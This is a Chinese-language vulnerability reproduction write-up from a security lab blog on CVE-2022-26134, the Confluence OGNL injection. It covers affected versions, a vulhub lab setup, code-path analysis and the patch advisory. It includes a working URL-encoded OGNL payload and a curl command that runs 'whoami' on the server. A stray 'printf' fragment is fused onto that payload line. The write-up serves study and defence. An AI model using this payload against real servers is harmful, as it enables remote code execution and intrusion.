星期五实验室
阅读须知
漏洞简介
-
1.3.0 版本至 7.4.17 之前版本 -
7.13.0 版本至 7.13.7 之前版本 -
7.14.0 版本至 7.14.3 之前版本 -
7.15.0 版本至 7.15.2 之前版本 -
7.16.0 版本至 7.16.4 之前版本 -
7.17.0 版本至 7.17.4 之前版本 -
7.18.0 版本至 7.18.1 之前版本
漏洞复现
本文使用vulhub
https://github.com/vulhub/vulhub
然后前往这个地址
https://my.atlassian.com/license/evaluation
申请一个license(需要注册),选择Data Center。
填入Server ID
页面会生成一个License Key
在填写数据库信息的页面,PostgreSQL数据库地址为db,数据库名称confluence,用户名密码均为postgres。
经过一段时间的加载之后,显示如下页面,我们选择Empty Site
填写管理员账户信息
安装成功
${(
%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7Dprintf("hello world!");
curl -v http://your-ip:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/
可以看到成功执行whoami并回显了执行结果
https://hub.docker.com/r/atlassian/confluence-server/
version: '2'
services:
web:
image: vulhub/confluence:7.13.6
ports:
- "8090:8090"
- "3789:3789"
depends_on:
- db
environment:
- JVM_SUPPORT_RECOMMENDED_ARGS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:3789"
db:
image: postgres:12.8-alpine
environment:
- POSTGRES_PASSWORD=postgres
- POSTGRES_DB=confluence
进入容器可以看到JVM进程被添加了开启调试模式的参数:
在项目设置中将confluence/confluence/WEB-INF中的atlassian-bundled-plugins、atlassian-bundled-plugins-setup、lib三个文件夹添加到Libraries
编辑配置,添加一个远程JVM调试,填入之前修改的IP和端口
出现已连接到VM地址相关字样,随便下一处断点,断点上有个小勾即为成功。
漏洞分析
根据官方公告
https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
本次漏洞修复主要修改了xwork-1.0.3-atlassian-10.jar中的com.opensymphony.xwork.ActionChainResult#execute方法
在/confluence/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar/com/opensymphony/webwork/dispatcher/ServletDispatcher.class第64行处下断点
客户端发起请求后,服务端先将其交给Tomcat的Filter处理,然后进入ServletDispatcher,这是一个Servlet分发器。
然后经过一系列字符串处理后获取servletPath步骤
获取到servletPath之后又来到断点处,该方法将servletPath通过如下五个函数分别获取对应值
-
getNameSpace -
getActionName -
getRequestMap -
getSessionMap -
getApplicationMap
本次漏洞发生在getNameSpace方法中,所以我们在/confluence/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar/com/opensymphony/webwork/dispatcher/ServletDispatcher.class第133行处下断点,继续运行并触发断点:
-
判断状态:判断容器是否正常启动 -
鉴权:循环判断当前的请求用户是否拥有访问这个action的权限,如果鉴权失败了就会返回一个notpermitted,并在将结果赋值给resultCode之后跳出循环。
漏洞修复
https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
中选择合适的修复补丁。
https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-26134
https://confluence.atlassian.com/doc/confluence-security-advisory-2022-02-1130377146.html
FRIDAY LAB
扫二维码|关注我们
星期五实验室
FRIDAY LAB
原文始发于微信公众号(星期五实验室):CVE-2022-26134 Confluence OGNL漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论